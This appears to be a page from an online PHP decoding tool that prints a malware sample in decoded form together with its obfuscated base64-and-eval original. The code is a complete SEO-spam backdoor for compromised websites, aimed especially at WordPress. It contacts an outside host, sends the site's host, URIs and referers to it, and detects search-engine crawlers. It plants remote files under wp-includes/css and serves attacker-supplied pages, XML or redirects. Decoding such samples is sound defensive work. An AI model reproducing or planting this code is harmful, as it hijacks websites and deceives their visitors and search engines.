Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $a =base64_decode('JHhtbG5hbWUgPSAnJTY2JTY3JTY3JTY1JTY4JTcwJTY3JTZCJTY2JTJFJTczJTcy..
Decoded Output download
$xmlname = '%66%67%67%65%68%70%67%6B%66%2E%73%72%66%66%72%65%67%2E%6B%6C%6D';
$http_web = 'http';
if (is_https()) {
$http = 'https';
} else {
$http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
$duri_tmp = '/';
}
$duri = $duri_tmp;
function drequest_uri()
{
if (isset($_SERVER['REQUEST_URI'])) {
$duri = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
} else {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $duri;
}
$goweb = 'sttructxs.fessert.xyz';
function is_https()
{
if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
return true;
} elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $lang;
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
$urlshang = $_SERVER['HTTP_REFERER'];
$urlshang = $urlshang;
}
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$path = $_SERVER['DOCUMENT_ROOT'];
} else {
$path = dirname(__FILE__);
}
if(is_dir($path. '/wp-includes')){
$fpath = 'wp-includes/css';
}else{
$fpath = 'css';
}
$dpath = $path. '/'.$fpath;
if(substr($host,0,4)=='www.'){
$host_nw = substr($host, 4);
}else{
$host_nw = $host;
}
$cssn = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'.css';
$ps = $path. '/'.$fpath.'/'.$cssn;
$urlc = $http_web . '://' . $goweb . '/temp/style.css';
$cssnpth = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'pth.css';
$pspth = $path. '/'.$fpath.'/'.$cssnpth;
$urlcpth = $http_web . '://' . $goweb . '/temp/stylepth.css';
function ping_sitemap($url){
$url_arr = explode("
", trim($url));
$return_str = '';
foreach($url_arr as $pingUrl){
$pingRes = doutdo($pingUrl);
$ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error';
$return_str .= $pingUrl . '-- ' . $ok . '<br>';
}
return $return_str;
}
function disbot()
{
$uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
return true;
} else {
return false;
}
}
function doutdo($url)
{
$file_contents= '';
if (!$file_contents) {
$file_contents = @file_get_contents($url);
}
return $file_contents;
}
function fcss($dpath,$ps,$urlc){
if(is_dir($dpath)){
if(!file_exists($ps)){
@file_put_contents($ps,doutdo($urlc));
}
}else{
if(@mkdir($dpath)){
if(!file_exists($ps)){
@file_put_contents($ps,doutdo($urlc));
}
}
}
}
if($duri_tmp=='/' || strstr($duri_tmp, 'ewttm')){
fcss($dpath,$ps,$urlc);
fcss($dpath,$pspth,$urlcpth);
}
if(is_file($ps)){
$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang. '&css=1';
}else{
$web1 = $http_web . ':/'.'/' . $goweb . '/indexnew.p';
$web = $web1.'hp?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang;
}
$html_content = doutdo($web);
if (!strstr($html_content, 'nobotuseragent')) {
if (strstr($html_content, 'okhtmlgetcontent')) {
@header("Content-type: text/html; charset=utf-8");
if (strstr($html_content, '[##linkcss##]')) {
if(file_exists($ps)){
$lcss_str = file_get_contents($ps);
$html_content = str_replace("[##linkcss##]", '<style>'.$lcss_str.'</style>', $html_content);
}else{
$html_content = str_replace("[##linkcss##]", '', $html_content);
}
}
if (strstr($html_content, '[##pthlinkcss##]')) {
if(file_exists($pspth)){
$lcsspth_str = file_get_contents($pspth);
$html_content = str_replace("[##pthlinkcss##]", $lcsspth_str, $html_content);
}else{
$html_content = str_replace("[##pthlinkcss##]", '', $html_content);
}
}
$html_content = str_replace("okhtmlgetcontent", '', $html_content);
echo $html_content;
exit();
}else if(strstr($html_content, 'okxmlgetcontent')){
$html_content = str_replace("okxmlgetcontent", '', $html_content);
@header("Content-type: text/xml");
echo $html_content;
exit();
}else if(strstr($html_content, 'pingxmlgetcontent')){
$html_content = str_replace("pingxmlgetcontent", '', $html_content);
fcss($dpath,$ps,$urlc);
fcss($dpath,$pspth,$urlcpth);
@header("Content-type: text/html; charset=utf-8");
echo ping_sitemap($html_content);
exit();
}else if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if (strstr($html_content, 'getcontent404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
}else if (strstr($html_content, 'getcontent301page')) {
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page", '', $html_content);
header('Location: ' . $html_content);
exit();
}
}/* blog D264 */Did this file decode correctly?
Original Code
<?php
$a =base64_decode('JHhtbG5hbWUgPSAnJTY2JTY3JTY3JTY1JTY4JTcwJTY3JTZCJTY2JTJFJTczJTcyJTY2JTY2JTcyJTY1JTY3JTJFJTZCJTZDJTZEJzsNCiRodHRwX3dlYiA9ICdodHRwJzsNCmlmIChpc19odHRwcygpKSB7DQogICAgJGh0dHAgPSAnaHR0cHMnOw0KfSBlbHNlIHsNCiAgICAkaHR0cCA9ICdodHRwJzsNCn0NCiRkdXJpX3RtcCA9IGRyZXF1ZXN0X3VyaSgpOw0KaWYgKCRkdXJpX3RtcCA9PSAnJyl7DQogICAgJGR1cmlfdG1wID0gJy8nOw0KfQ0KJGR1cmkgPSAkZHVyaV90bXA7DQpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKQ0Kew0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsNCiAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ2FyZ3YnXSkpIHsNCiAgICAgICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnYXJndiddWzBdOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJGR1cmk7DQp9DQokZ293ZWIgPSAnc3R0cnVjdHhzLmZlc3NlcnQueHl6JzsNCmZ1bmN0aW9uIGlzX2h0dHBzKCkNCnsNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pICE9PSAnb2ZmJykgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PT0gJ2h0dHBzJykgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICE9PSAnb2ZmJykgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107DQokbGFuZyA9IEAkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXTsNCiRsYW5nID0gJGxhbmc7DQokdXJsc2hhbmcgPSAnJzsNCmlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7DQogICAgJHVybHNoYW5nID0gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KICAgICR1cmxzaGFuZyA9ICR1cmxzaGFuZzsNCn0NCmlmIChpc3NldCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkgew0KICAgICRwYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCn0gZWxzZSB7DQogICAgJHBhdGggPSBkaXJuYW1lKF9fRklMRV9fKTsNCn0NCmlmKGlzX2RpcigkcGF0aC4gJy93cC1pbmNsdWRlcycpKXsNCgkkZnBhdGggPSAnd3AtaW5jbHVkZXMvY3NzJzsNCn1lbHNlew0KCSRmcGF0aCA9ICdjc3MnOw0KfQ0KJGRwYXRoID0gJHBhdGguICcvJy4kZnBhdGg7DQppZihzdWJzdHIoJGhvc3QsMCw0KT09J3d3dy4nKXsNCiAgICAkaG9zdF9udyA9IHN1YnN0cigkaG9zdCwgNCk7DQp9ZWxzZXsNCgkkaG9zdF9udyA9ICRob3N0Ow0KfQ0KJGNzc24gPSBzdHJfcm90MTMoc3Vic3RyKCRob3N0X253LDAsMykuc3Vic3RyKCRnb3dlYiwwLDMpKS4nLmNzcyc7DQokcHMgPSAkcGF0aC4gJy8nLiRmcGF0aC4nLycuJGNzc247DQokdXJsYyA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGdvd2ViIC4gJy90ZW1wL3N0eWxlLmNzcyc7DQokY3NzbnB0aCA9IHN0cl9yb3QxMyhzdWJzdHIoJGhvc3RfbncsMCwzKS5zdWJzdHIoJGdvd2ViLDAsMykpLidwdGguY3NzJzsNCiRwc3B0aCA9ICRwYXRoLiAnLycuJGZwYXRoLicvJy4kY3NzbnB0aDsNCiR1cmxjcHRoID0gJGh0dHBfd2ViIC4gJzovLycgLiAkZ293ZWIgLiAnL3RlbXAvc3R5bGVwdGguY3NzJzsNCmZ1bmN0aW9uIHBpbmdfc2l0ZW1hcCgkdXJsKXsNCiAgICAkdXJsX2FyciA9IGV4cGxvZGUoIlxyXG4iLCB0cmltKCR1cmwpKTsNCiAgICAkcmV0dXJuX3N0ciA9ICcnOw0KICAgIGZvcmVhY2goJHVybF9hcnIgYXMgJHBpbmdVcmwpew0KICAgICAgICAkcGluZ1JlcyA9IGRvdXRkbygkcGluZ1VybCk7DQogICAgICAgICRvayA9IChzdHJwb3MoJHBpbmdSZXMsICdTaXRlbWFwIE5vdGlmaWNhdGlvbiBSZWNlaXZlZCcpICE9PSBmYWxzZSkgPyAncGluZ29rJyA6ICdlcnJvcic7DQogICAgICAgICRyZXR1cm5fc3RyIC49ICRwaW5nVXJsIC4gJy0tICcgLiAkb2sgLiAnPGJyPic7DQogICAgfQ0KICAgIHJldHVybiAkcmV0dXJuX3N0cjsNCn0NCmZ1bmN0aW9uIGRpc2JvdCgpDQp7DQogICAgJHVBZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCiAgICBpZiAoc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlYm90JykgfHwgc3RyaXN0cigkdUFnZW50LCAnYmluZycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ3lhaG9vJykgfHwgc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlJykgfHwgc3RyaXN0cigkdUFnZW50LCAnR29vZ2xlYm90JykgfHwgc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlYm90JykpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGRvdXRkbygkdXJsKQ0Kew0KICAgICRmaWxlX2NvbnRlbnRzPSAnJzsNCiAgICBpZiAoISRmaWxlX2NvbnRlbnRzKSB7DQogICAgICAgICRmaWxlX2NvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOw0KICAgIH0NCiAgICByZXR1cm4gJGZpbGVfY29udGVudHM7DQp9DQpmdW5jdGlvbiBmY3NzKCRkcGF0aCwkcHMsJHVybGMpew0KICAgIGlmKGlzX2RpcigkZHBhdGgpKXsNCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRwcykpew0KICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRwcyxkb3V0ZG8oJHVybGMpKTsNCiAgICAgICAgfQ0KICAgIH1lbHNlew0KICAgICAgICBpZihAbWtkaXIoJGRwYXRoKSl7DQogICAgICAgICAgICBpZighZmlsZV9leGlzdHMoJHBzKSl7DQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRwcyxkb3V0ZG8oJHVybGMpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCmlmKCRkdXJpX3RtcD09Jy8nIHx8IHN0cnN0cigkZHVyaV90bXAsICdld3R0bScpKXsNCiAgICBmY3NzKCRkcGF0aCwkcHMsJHVybGMpOw0KICAgIGZjc3MoJGRwYXRoLCRwc3B0aCwkdXJsY3B0aCk7DQp9DQppZihpc19maWxlKCRwcykpew0KCSR3ZWIgPSAkaHR0cF93ZWIgLiAnOi8vJyAuICRnb3dlYiAuICcvaW5kZXhuZXcucGhwP3dlYj0nIC4gJGhvc3QgLiAnJnp6PScgLiBkaXNib3QoKSAuICcmdXJpPScgLiAkZHVyaSAuICcmdXJsc2hhbmc9JyAuICR1cmxzaGFuZyAuICcmaHR0cD0nIC4gJGh0dHAgLiAnJmxhbmc9JyAuICRsYW5nLiAnJmNzcz0xJzsNCn1lbHNlew0KCSR3ZWIxID0gJGh0dHBfd2ViIC4gJzovJy4nLycgLiAkZ293ZWIgLiAnL2luZGV4bmV3LnAnOw0KJHdlYiA9ICR3ZWIxLidocD93ZWI9JyAuICRob3N0IC4gJyZ6ej0nIC4gZGlzYm90KCkgLiAnJnVyaT0nIC4gJGR1cmkgLiAnJnVybHNoYW5nPScgLiAkdXJsc2hhbmcgLiAnJmh0dHA9JyAuICRodHRwIC4gJyZsYW5nPScgLiAkbGFuZzsNCn0NCiRodG1sX2NvbnRlbnQgPSBkb3V0ZG8oJHdlYik7DQppZiAoIXN0cnN0cigkaHRtbF9jb250ZW50LCAnbm9ib3R1c2VyYWdlbnQnKSkgew0KICAgIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29raHRtbGdldGNvbnRlbnQnKSkgew0KICAgICAgICBAaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KCQlpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdbIyNsaW5rY3NzIyNdJykpIHsNCgkJCWlmKGZpbGVfZXhpc3RzKCRwcykpew0KCQkJCSRsY3NzX3N0ciA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwcyk7DQoJCQkJJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJbIyNsaW5rY3NzIyNdIiwgJzxzdHlsZT4nLiRsY3NzX3N0ci4nPC9zdHlsZT4nLCAkaHRtbF9jb250ZW50KTsNCgkJCX1lbHNlew0KCQkJCSRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgiWyMjbGlua2NzcyMjXSIsICcnLCAkaHRtbF9jb250ZW50KTsNCgkJCX0NCgkJfQ0KICAgICAgICBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdbIyNwdGhsaW5rY3NzIyNdJykpIHsNCgkJCWlmKGZpbGVfZXhpc3RzKCRwc3B0aCkpew0KCQkJCSRsY3NzcHRoX3N0ciA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwc3B0aCk7DQoJCQkJJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJbIyNwdGhsaW5rY3NzIyNdIiwgJGxjc3NwdGhfc3RyLCAkaHRtbF9jb250ZW50KTsNCgkJCX1lbHNlew0KCQkJCSRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgiWyMjcHRobGlua2NzcyMjXSIsICcnLCAkaHRtbF9jb250ZW50KTsNCgkJCX0NCgkJfQ0KICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIm9raHRtbGdldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIGVjaG8gJGh0bWxfY29udGVudDsNCiAgICAgICAgZXhpdCgpOw0KICAgIH1lbHNlIGlmKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2t4bWxnZXRjb250ZW50Jykpew0KICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIm9reG1sZ2V0Y29udGVudCIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgQGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L3htbCIpOw0KICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZihzdHJzdHIoJGh0bWxfY29udGVudCwgJ3Bpbmd4bWxnZXRjb250ZW50Jykpew0KICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoInBpbmd4bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBmY3NzKCRkcGF0aCwkcHMsJHVybGMpOw0KCQlmY3NzKCRkcGF0aCwkcHNwdGgsJHVybGNwdGgpOw0KICAgICAgICBAaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KICAgICAgICBlY2hvIHBpbmdfc2l0ZW1hcCgkaHRtbF9jb250ZW50KTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH1lbHNlIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQ1MDBwYWdlJykpIHsNCiAgICAgICAgQGhlYWRlcignSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicpOw0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDQwNHBhZ2UnKSkgew0KICAgICAgICBAaGVhZGVyKCdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJyk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50MzAxcGFnZScpKSB7DQogICAgICAgIEBoZWFkZXIoJ0hUVFAvMS4xIDMwMSBNb3ZlZCBQZXJtYW5lbnRseScpOw0KICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoImdldGNvbnRlbnQzMDFwYWdlIiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGh0bWxfY29udGVudCk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9DQp9LyogYmxvZyBEMjY0ICov');
eval($a);
?>Function Calls
| base64_decode | 1 |
Stats
| MD5 | 40e370208339fd2da7650943ee4af8f8 |
| Eval Count | 1 |
| Decode Time | 57 ms |